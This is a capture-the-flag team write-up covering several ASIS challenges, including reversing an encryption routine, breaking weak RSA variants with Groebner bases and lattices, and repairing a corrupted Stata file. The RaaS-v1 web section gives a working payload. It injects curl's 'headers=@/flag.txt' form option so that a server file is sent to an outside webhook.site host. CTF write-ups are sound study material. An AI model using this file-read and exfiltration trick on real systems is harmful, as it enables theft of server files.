Rexy (Reverse, 53 solves)
Solved by fsharp
A Linux program and an encrypted flag are provided. Opening the program in Ghidra, we find that it reads the plaintext flag from a file before passing it into an encryption function that involves randomness from rand(), buffers that get allocated only to be freed up without being used, and base conversions.
Looking closer, some parts of this function are actually redundant and only exist to confuse us. The actual encryption algorithm is quite simple and can be written as:
def encrypt(pt):
ct = ""
pos = 0
for c in pt:
pos += 1
pos_squared = (pos ** 2) ^ 0x19
xord_c = ord(c) ^ pos_squared ^ 0x69b2 ^ 0x11f0b8
based_c = format(int(format(xord_c, 'o')), 'X')
ct += based_c
ct = ct[::-1] + "5ADB"
return ct
We write the decryption algorithm and get the flag:
def decrypt(ct):
pt = ""
pos = 0
ct = ct.rstrip("5ADB")[::-1]
for i in range(0, len(ct), 6):
pos += 1
pos_squared = (pos ** 2) ^ 0x19
based_c = ct[i : i + 6]
xord_c = int(str(int(based_c, 16)), 8)
c = chr(xord_c ^ pos_squared ^ 0x69b2 ^ 0x11f0b8)
pt += c
return pt
encrypted = open("flag.enc").read().strip()
flag = decrypt(encrypted)
print(flag)
The plaintext is:
Congratulation! You got the flag:
+ASIS{W00twootW00t_HappyNewYear}+
Have fun and good luck new year!!
Deserve (Reverse, 32 solves)
Solved by harrier, grhkm
We are given an ARM binary that takes input from stdin and outputs an encoded message. By disassembling the binary, we see that the main function is located at 0xBE0. We decided to perform static analysis first, which in hindsight is not the best idea, but we will see why later.
The code can be splitted into two parts.
Here is the first part:
__int64 __fastcall sub_BE0(_BYTE *a1, unsigned __int64 *input_len) {
// ...
input = a1;
v3 = *input_len;
v5 = malloc(4 * input_len);
if ( !v5 )
sub_F60("malloc");
if ( v3 ) {
v6 = 0LL;
i = 0LL;
b_loc_table = (__int64 *)__ctype_b_loc();
v9 = 0;
do
{
cur_char = (unsigned __int8)input[i];
v3 = v6;
v11 = *b_loc_table;
// Check 1
if ( (*b_loc_table + 2LL * cur_char) & 8 )
{
++v9;
*(_BYTE *)(v5 + v6) = cur_char;
v6 = v9;
v3 = v9;
}
// Check 2
else if ( cur_char == 32 )
{
if ( v9 > 1
&& (v11 + 2LL * *(unsigned __int8 *)(v5 + v6 - 1)) & 0x200
&& (v5 + v6 - 2) == '+' )
{
v39 = *(unsigned __int8 *)(v5 + v6 - 1);
*(_BYTE *)(v5 + v6 - 1) = *(_DWORD *)(*(_QWORD *)__ctype_toupper_loc() + 4 * v39);
}
else
{
++v9;
*(_BYTE *)(v5 + v6) = '/';
v6 = v9;
v3 = v9;
}
}
else
{
if ( !input[i] )
goto LABEL_9;
// Check 3
v33 = strchr("@$_!\"#%&'()*+,-./:;<=>?\n", (unsigned __int8)input[i]);
if ( v33 )
{
v34 = v9 + 1;
v9 += 2;
*(_BYTE *)(v5 + v6) = '+';
v6 = v9;
v3 = v9;
*(_BYTE *)(v5 + v34) = v33 - (unsigned __int64)"@$_!\"#%&'()*+,-./:;<=>?\n" + 0x61;
}
else
{
// Check 4
v35 = strchr("[\\]^{|}~`\t", v10);
if ( !v35 )
LABEL_9:
sub_F30("Invalid input! Sorry!!", v11);
v36 = v9 + 1;
v37 = v9 + 2;
v9 += 3;
*(_BYTE *)(v5 + v6) = '+';
v6 = v9;
*(_BYTE *)(v5 + v36) = '+';
v3 = v9;
*(_BYTE *)(v5 + v37) = v35 - (unsigned __int64)"[\\]^{|}~`\t" + 0x61;
}
}
++i;
}
while ( i < len );
// ...
}
As annotated, there are multiple checks. The binary first checks (*b_loc_table + 2LL * cur_char) & 8, where b_loc_table is the returned pointer from __ctype_b_loc(). Looking into C header files, we see that the function __ctype_b_loc is defined inside ctype.h, where it has the following comment:
/*
These point into arrays of 384, so they can be indexed by any `unsigned
char' value [0,255]; by EOF (-1); or by any `signed char' value
[-128,-1). ISO C requires that the ctype functions work for `unsigned
char' values and for EOF; we also support negative `signed char' values
for broken old programs. The case conversion arrays are of `int's
rather than `unsigned char's because tolower (EOF) must be EOF, which
doesn't fit into an `unsigned char'. But today more important is that
the arrays are also used for multi-byte character sets.
*/
extern const unsigned short int **__ctype_b_loc (void) __THROW __attribute__ ((__const__));
#define __isctype(c, type) ((*__ctype_b_loc ())[(int) (c)] & (unsigned short int) type)
#define isalnum(c) __isctype((c), _ISalnum)
// LITTLE ENDIAN
#define _ISbit(bit) ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
enum
{
_ISupper = _ISbit (0), /* UPPERCASE. */
_ISlower = _ISbit (1), /* lowercase. */
_ISalpha = _ISbit (2), /* Alphabetic. */
_ISdigit = _ISbit (3), /* Numeric. */
_ISxdigit = _ISbit (4), /* Hexadecimal numeric. */
_ISspace = _ISbit (5), /* Whitespace. */
_ISprint = _ISbit (6), /* Printing. */
_ISgraph = _ISbit (7), /* Graphical. */
_ISblank = _ISbit (8), /* Blank (usually SPC and TAB). */
_IScntrl = _ISbit (9), /* Control character. */
_ISpunct = _ISbit (10), /* Punctuation. */
_ISalnum = _ISbit (11) /* Alphanumeric. */
};
In short, its just a “character characteristic” lookup table, a C way to check isalpha / etc.
The above code is equivalent to something like this in pseudocode:
storage = ""
for all char c in input:
if c is alphabetic:
storage += c
else if c is space:
if previous two in storage is ~=`+[a-zA-Z0-9]`:
update the previous two to become upper case
else:
storage += "/"
else:
charset = "@$_!\"#%&'()*+,-./:;<=>?\n"
if c in charset:
index = charset.find(c)
storage += f"+{index}"
else:
charset = "[\\]^{|}~`\t"
if not in charset:
return error and exit
storage += f"++{index}"
if len(storage) mod 3 != 0:
storage += "/" * (3 - len(storage) mod 3)
storage = base64_decode(storage)
At first, I was so puzzled as I misread the first condition thinking it only checks for numeric characters (turns out it is checking for alphanumeric characters instead, so it make perfect sense), and this makes no sense if the input is a flag.
And my teammate grhkm reminds me I should try base64 conversion first, and I see this:
Compressin
g/short/messages/is/essential+Nso/ASIS/has/developed/new/one+xThe/flag/for/t
his/task/is+RASIS++ec0mprEs51nG+csHOr7+ct3xT+cmE5s49es+cASIS+d++g///
So clearly this is the flag, and we can just reverse the ++e etc syntax with the algorithm we reverse above. And this yields us the flag easily.
RaaS-v1 (Web, 68 solves)
Solved by fsharp
We’re given a URL and an archive file containing the source code for the webpage. The goal is to read the contents of /flag.txt by exploiting a vulnerability.
The webpage allows us to request any webpage with a request method of our choice and with the ability to send any form data. The source code is:
<?php
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
die('curl :thonk:');
}
$url = 'http://localhost';
$method = 'GET';
$formParams = [];
if(isset($_GET['url'])){
$url = $_GET['url'];
}
if(isset($_GET['method'])){
$method = $_GET['method'];
}
if(isset($_GET['formParams'])){
$formParams = $_GET['formParams'];
}
$cmd = 'curl ';
$cmd .= '--proto -file ';
$cmd .= escapeshellarg($url).' ';
$cmd .= '-X ';
$cmd .= escapeshellarg($method).' ';
foreach($formParams as $key => $value){
if(preg_match("/^\w+$/",$key)){
$cmd .= '-F ';
$cmd .= escapeshellarg($key.'= '.$value);
}
}
header('Content-Type: text/plain');
system($cmd);
Our parameters are passed to the escapeshellarg() function, which adds quotes around them.
As hinted by the challenge description, the vulnerability could be found if one reads the documentation of the curl command carefully. Referring to the -F section of its manpage, it can be seen that custom headers could be added to the request by reading from a file as follows:
curl -F "submit=OK;headers=@headerfile" example.com
It is important to note that $key and $value are not filtered at all (e.g. check if characters like @, ;, = or / are included), which means it is possible for us to use the above command format to read from any file.
By opening a webhook and sending data to it by navigating to http://raas-v1.asisctf.com:9000/?url=https://webhook.site/blah&formParams[a]=b;headers=@/flag.txt, we can forge the following command:
curl --proto -file 'https://webhook.site/blah' -X 'GET' -F 'a= b;headers=@/flag.txt'
…and get the flag!
Bedouin (Crypto, 79 solves)
Solved by LifeIsHard
The challenge encrypts the message through RSA, but with a unique(ly weak) way of generating the parameters, defined as follows:
from secret import nbit, l, flag
def genbed(nbit, l):
while True:
zo = bin(getPrime(nbit))[2:]
OZ = zo * l + '1'
if isPrime(int(OZ)):
return int(OZ)
p, q = [genbed(nbit, l) for _ in '01']
n = p * q
d = 1 ^ l ** nbit << 3 ** 3
phi = (p - 1) * (q - 1)
e = inverse(d, phi)
m = bytes_to_long(flag)
c = pow(m, e, n)
if pow(c, d, n) == m:
print(f'n = {n}')
print(f'c = {c}')
In short, the algorithm first generates $p$ and $q$ by
- Defining $l$ and $b$ (
nbitin the code), both unknown to us - Generates a (essentially) random $b$-digit binary string $zo$
- Define $p = \underbrace{zo \mathbin\Vert zo \mathbin\Vert \cdots \mathbin\Vert zo}_{l , \mathrm{of} , zo} \mathbin\Vert 1$ and interpret it as a base-10 integer
- If $p$ is not a prime, repeat the generation process. $q$ is generated in the same manner.
Now, the algorithm generates the remaining RSA parameters by
- $N = pq$
- $d = \left(27 \cdot l^{b}\right) \mathbin{|} 1$
- $e = d^{-1} \ \mathrm{mod} \ (p - 1)(q - 1)$
- $c = m^e \ \mathrm{mod} \ N$
Firstly, from the output given we see that $N$ is a $617$-digit integer. On the other hand, the generation process shows that $p$ and $q$ have $(lb + 1)$ digits, meaning that $N = pq$ has either $2(lb + 1) - 1$ or $2(lb + 1)$ digits. From this, we deduce that $lb = 308$, which means $b$ is one of the divisors of $308 = 2^2 \cdot 7 \cdot 11$. Trying each divisor in order and computing the corresponding $d$, we get the correct answer $(l, b) = (11, 28)$.
Monward (Crypto, 30 solves)
Solved by Mystiz
Groebner basis is the perfect tool to solve annoying system of equations. Using the relation given by monon(C, P) == monon(C, Q) == monon(C, R) == monon(C, enc), we can construct an ideal from which we can recover $a$, $d$ and $p$. See the code for more details:
V.<a, d, p> = ZZ['a, d, p']
terms = []
for (x, y) in [P, Q, R, enc]:
terms.append(a * x^2 + y^2 - d * x^2 * y^2 - 1)
I = Ideal(V, terms)
I.groebner_basis()
# [a + 110062003148225401725628246404818446720450976623225313995311,
# d + 154490734938099229849569067657352117192562308729750369601751,
# 209488070485061880311886074351169939903472896311680134404680]
Eventually we found
p = 5237201762126547007797151858779248497586822407792003360117
d = 2625317925697180384345488106025337735042363504009731201759
a = 5156435618558632445909094488325020226459116348198759927263
We can also retrieve the order of the curve being q = 5237201762126547007797151858841639845712665151660067904384, which can be factorized to
$$\begin{aligned} 2^7 & \times 7 \times 1283 \times 537221 \times 922861 \times 2073361 \\ & \times 14270791 \times 91806719 \times 1025744989 \times 3297907903. \end{aligned}$$
Since I am lazy to map the Edward’s curve into a standard elliptic curve for discrete log, I implemented the Pohlig-Hellman algorithm myself. Eventually we got the flag ASIS{MoN7g0m3ry_EdwArd5_cuRv3}.
Vindica (Crypto, 32 solves)
Solved by LifeIsHard
The challenge first generates parameters $p$, $q$, $e$, $n = pq$ and $N = (p^2 - 1)(q^2 - 1)$. It then encrypts the flag in a RSA-like protocol, defined as follows:
def two_layencrypt(msg, pkey):
e, n, _ = pkey
Zn = Zmod(n)
m = bytes_to_long(msg)
c = pow(m, e, n)
_c = str(c)
l = len(_c)
_C = matrix(Zn, [[_c[:l//4], _c[l//4:l//2]], [_c[l//2:3*l//4], _c[3*l//4:l]]])
assert gcd(det(_C), n) == 1
C = _C ** e
return C
In addition to the encrypted matrix, we are also given $e, n, N$.
In short, the algorithm
- Encrypts the flag with normal RSA by raising it to the $e^{\mathrm{th}}$ power modulo $n$.
- Splits the base-10 digits of $c$ into four pieces $c_1, c_2, c_3, c_4$
- For example, $c = 12345678 \to (c_1, c_2, c_3, c_4) = (12, 34, 56, 78)$.
- Encrypts the matrix $\bigl( \begin{smallmatrix} c_1 & c_2 \ c_3 & c_4 \end{smallmatrix} \bigr)$ with RSA again by raising it to the $e^{\mathrm{th}}$ power modulo $n$.
It is clear that our goal is to recover the primes $p$ and $q$. We note that since we are given both $n$ and $N$, both of which are defined by $p$ and $q$, we have the following system of equations:
$$ \begin{cases} n = pq \\ N = (p^2 - 1)(q^2 - 1) \end{cases} $$
Solution 1 (LifeIsHard)
One method to solve the equations is by rewriting $N = p^2q^2 - (p^2 + q^2) + 1 = n^2 + 2n + 1 - (p + q)^2$. Then, we can recover $p + q$. Finally, note that $p$ and $q$ are roots to the quadratic polynomial $(x - p)(x - q) = x^2 - (p + q)x + n$, we can factor $p$ and $q$.
Solve script (excerpt):
from z3 import *
p = Int('p')
q = Int('q')
print(solve((p**2 - 1)*(q**2 - 1) == N, p * q == n))
Solution 2 (grhkm)
Another method to solve this is using Groebner basis. We construct the Ideal $\left<n - pq, N - (p^2 - 1)(q^2 - 1)\right> \subset \mathbb{Z}[p, q]$, and hope one of the reduced terms is univariate. Note that the default ordering in Sage is degrevlex, standing for “Degree reverse lexicographic”. However, the degree of the reduced basis doesn’t matter for us, just that it is univariate. Therefore, the lex ordering is more suitable for us.
Solve script (excerpt):
p, q = ZZ['p, q'].change_ring(order='lex').gens()
I = Ideal([n - p * q, N - (p^2 - 1) * (q^2 - 1)])
for basis in I.groebner_basis():
try:
print(basis.univariate_polynomial().roots())
except TypeError as e:
pass
Finally, we can recover $c$ by $c = C^{(e^{-1} \ \mathrm{mod} \ N)}$, and decrypt RSA as usual for the flag.
Rhyton (Crypto, 17 solves)
Solved by Mystiz, LifeIsHard, grhkm
In the problem, we are given L = 110 sets of data, generated through the following code:
# nbit, delta, L = 512, 0.14, 110
def gen_rhyton(nbit, delta, L):
p, q = [getPrime(nbit) for _ in '01']
n = p * q
D = int(n ** (1 - delta))
phi = (p - 1) * (q - 1)
V = [getRandomRange(1, n - 1) for _ in range(L)]
U = [phi * v // n for v in V]
W, i = [], 0
while True:
w = getRandomRange(phi * V[i] - U[i] * n - D, phi * V[i] - U[i] * n + D)
if abs(phi * V[i] - U[i] * n - w) < D and w < n:
W.append(w)
i += 1
if i == L:
break
return (p, q, U, V, W)
In short, the function
- Generates 512-bit primes $p$ and $q$ and computes $\varphi = (p - 1)(q - 1)$ and $N = pq$
- Defines $D := \lfloor N^{0.86} \rfloor$
- Generates 110 random integers $v_i \in [1, N - 1)$
- Defines $u_i := \lfloor \frac{\varphi v_i}{N} \rfloor$
- Defines $X_i := \varphi v_i - N u_i$
- Generate 110 random integers $w_i \in [X_i - D, X_i + D)$.
- Returns the data $(p, q, (v_i, u_i, w_i))$.
Firstly, we can rewrite the defining definition of $w_i$ as
$$|w_i - X_i| < D \implies |w_i + Nu_i - \varphi v_i| < D \approx N^{0.86}$$
This means that the quantity $w_i + Nu_i - \varphi v_i$ is “small”. Furthermore, since the quantities $N, w_i, v_i$ are known, this is a standard application of lattice-reduction algorithms. As a note, we may write $\varphi = N - \varphi'$, where $\varphi' \approx N^{0.5}$, which may perform better in the lattice.
Lattice construction ($110 \times 112$):
$$\begin{pmatrix} w_0 & w_1 & \cdots & w_{109} & 1 & n \\ -v_0 & -v_1 & \cdots & -v_{109} & 0 & -1 \\ n & 0 & \cdots & 0 & 0 & 0 \\ 0 & n & \cdots & 0 & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots & \vdots \\ 0 & 0 & \cdots & n & 0 & 0 \end{pmatrix}$$
Solve script:
for i in range(110):
A[0, i] = W[i]
A[1, i] = -V[i]
A[2+i, i] = n
if True:
A[0, 110] = 1
A[0, 111] = n
A[1, 111] = -1
weights = [1/int(n^0.86) for _ in range(110)] + [1, 1/int(n^0.5)]
Q = diagonal_matrix(weights)
A *= Q
A = A.LLL() # <-
A /= Q
Basic (Forensics + Misc, 34 solves)
Solved by fsharp
A file called basic.raw is given to us.
Opening it in a hex editor, it appears to be a corrupted Stata .dta file. Referring to a website that describes the file format and the sample file it references, we can notice 3 errors with the file and fix them manually as follows:
- The beginning of the file should be replaced with
<stata_dta><header><release>118</release><byteo. - The end of the file should be replaced with
rls></strls><value_labels></value_labels></stata_dta>. - ‘Blank’ regions of the file should contain
0x00s. So, replace the0xA3s in thevarnamessection with0x00s.
Afterwards, we can read the file using the Pandas library. We get a few hundred rows of data, where each row contains 3 columns:
position: A number.isflagchar: Is this a character for the flag?md5charsalt: An MD5 hash.
The description of the md5charsalt variable given by the file is specifically md5(char + 'SALT'). I took it literally and tried to find the characters with the salt as SALT, but none were found.
Initially, I was confused with what the challenge was asking for. However, Mystiz looked up a few of those hashes on reverse MD5 websites and found that the salt was actually s4Lt. Thanks to his help and with a little more guessing, I was able to complete my script and solve this challenge:
from hashlib import md5
from pandas import read_stata
df = read_stata("repaired.dta")
hashes = set()
flag = []
for (position, isflagchar, md5charsalt) in zip(df["position"], df["isflagchar"], df["md5charsalt"]):
if isflagchar == 'Y':
hashes.add(md5charsalt)
flag.append([position, md5charsalt])
hashes = list(hashes)
flag = [md5charsalt for [position, md5charsalt] in sorted(flag)]
for hash in hashes:
for c in range(32, 127):
s = "s4Lt" + chr(c)
if md5(s.encode()).hexdigest() == hash:
for i in range(len(flag)):
if flag[i] == hash:
flag[i] = chr(c)
break
print(''.join(flag))